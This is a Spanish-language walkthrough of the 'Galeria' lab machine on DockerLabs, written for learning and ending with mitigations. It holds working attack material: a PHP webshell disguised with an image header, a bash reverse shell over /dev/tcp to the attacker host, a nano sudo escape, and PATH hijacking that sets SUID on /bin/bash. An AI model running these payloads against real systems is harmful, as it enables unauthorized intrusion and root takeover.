Ir al contenido

Galeria

En este artículo documentamos la resolución completa de la máquina virtual Galeria, creada por Raul A y catalogada como fácil en la plataforma DockerLabs. El objetivo es ofrecer una guía reproducible y didáctica, explicando qué se hizo, por qué y cómo detectar patrones similares en otras máquinas.

El proceso se organiza en tres fases:

  1. Reconocimiento – Identificación de servicios expuestos, rutas web y posibles puntos de entrada.
  2. Explotación – Obtención de acceso inicial mediante una vulnerabilidad de subida de archivos.
  3. Escalada de privilegios – Uso de binarios mal configurados (sudo) y manipulación del PATH para alcanzar privilegios de root.

⚠️ Nota: Todos los pasos fueron realizados en un entorno controlado de DockerLabs. No ejecutes pruebas intrusivas fuera de entornos autorizados.


AtributoDetalle
NombreGaleria
AutorRaul A
DificultadFácil
Fecha de creación13/05/2025
PlataformaDockerLabs

  1. Descargar y descomprimir el paquete desde DockerLabs:

    Ventana de terminal
    unzip Galeria.zip
  2. Desplegar el contenedor con el script incluido:

    Ventana de terminal
    sudo bash auto_deploy.sh Galeria.tar

El script levanta un contenedor Docker con los servicios necesarios y muestra la IP asignada al finalizar. Guarda esta IP, ya que se usará durante toda la explotación.


Primero, creamos una estructura de directorios para mantener los archivos ordenados:

Ventana de terminal
mkdir -p Galeria/{content,exploits,nmap,scripts}
cd Galeria

Mantener un árbol de trabajo ordenado facilita la trazabilidad y redacción posterior del informe.

IP asignada


Ejecutamos un escaneo completo con Nmap para identificar los servicios activos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 172.17.0.2 -oG allPorts

Extraemos los puertos detectados (usando el script extractPorts o grep manualmente):

Ventana de terminal
extractPorts allPorts

Puertos abiertos

Resultados relevantes:

  • Puerto 21 – FTP
  • Puerto 80 – HTTP (galería web principal)

Utilizamos Gobuster para identificar directorios y archivos expuestos:

Ventana de terminal
gobuster dir -u http://172.17.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js -t 200 -o gobuster.txt

Gobuster

Rutas identificadas:

  • /index — Página principal de la galería. Index
  • /gallery — Galería de imágenes (contenido dinámico). gallery

Durante la enumeración observamos un archivo interesante: handler.php, que permite subir imágenes.

handler.php

Probamos si el sistema valida el tipo de archivo y descubrimos que no hay filtrado adecuado, por lo que es posible subir archivos .php con contenido ejecutable.

Creamos una webshell encubierta con encabezado de imagen (para evadir validaciones superficiales):

\xFF\xD8\xFF\xE0
<?=`$_GET[0]`?>

Subimos el archivo como shell.php y verificamos que aparece listado en la página de subida:

archivos subidos

Al acceder a la URL:

http://172.17.0.2/gallery/uploads/images/shell.php?0=id

obtenemos ejecución remota de comandos (RCE):

webshell

Ahora establecemos una reverse shell hacia nuestra máquina atacante:

Ventana de terminal
bash -i >& /dev/tcp/172.17.0.1/443 0>&1

(Recuerda urlencodear el payload antes de enviarlo por GET).

En nuestro host local escuchamos con Netcat:

Ventana de terminal
nc -lvnp 443

Una vez ejecutado, obtenemos acceso como www-data:

reverseshell


Para una shell más funcional (capaz de usar sudo, nano, su, etc.):

Ventana de terminal
script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
reset
export TERM=xterm
export SHELL=bash

Con esto la terminal se comporta como una shell interactiva completa.


Ejecutamos:

Ventana de terminal
sudo -l

sudo -l www-data

El resultado indica que el usuario www-data puede ejecutar /bin/nano como el usuario gallery.

Entramos en nano y aprovechamos su capacidad de ejecución de comandos:

Ventana de terminal
sudo -u gallery /bin/nano
# Dentro de nano:
CTRL+R CTRL+X
# Luego escribir:
reset; sh 1>&0 2>&0

🔎 Si el atajo CTRL+R CTRL+X no responde, asegúrate de que la shell esté correctamente estabilizada (sin rlwrap ni terminales limitadas).

Ya tenemos una shell como usuario gallery.


Ejecutamos nuevamente sudo -l:

sudo -l gallery

Vemos que el usuario gallery puede ejecutar el binario /usr/local/bin/runme como root.

Al ejecutarlo:

Ventana de terminal
sudo /usr/local/bin/runme

recibimos un error que indica que no encuentra el binario convert:

binario runme

Esto sugiere una vulnerabilidad de PATH hijacking, es decir, el programa busca convert en el PATH actual. Podemos aprovecharlo creando un binario malicioso con el mismo nombre.

Primero, modificamos el PATH para priorizar el directorio actual:

Ventana de terminal
export PATH=/home/gallery:$PATH

Luego creamos un falso binario convert:

Ventana de terminal
echo '#!/bin/bash
chmod u+s /bin/bash' > /home/gallery/convert
chmod +x /home/gallery/convert

Finalmente, ejecutamos el binario vulnerable como root:

Ventana de terminal
sudo /usr/local/bin/runme
bash -p

Y obtenemos acceso root 🎉

root


  1. Subida insegura de archivos en handler.php → ejecución remota de comandos (RCE).
  2. sudo mal configurado → escalada de www-data a gallery mediante nano.
  3. Binario runme vulnerable al PATH hijacking → escalada final a root.

  • Falta de validación en la subida de archivos.
  • Permisos sudo excesivos para usuarios no privilegiados.
  • Ejecución de binarios con rutas inseguras (PATH manipulable).

  • Validar correctamente los tipos de archivo y extensiones permitidas.
  • Restringir el uso de sudo a binarios estrictamente necesarios.
  • Usar rutas absolutas en scripts ejecutados con privilegios elevados.
  • Aplicar el principio de mínimo privilegio en todo el entorno.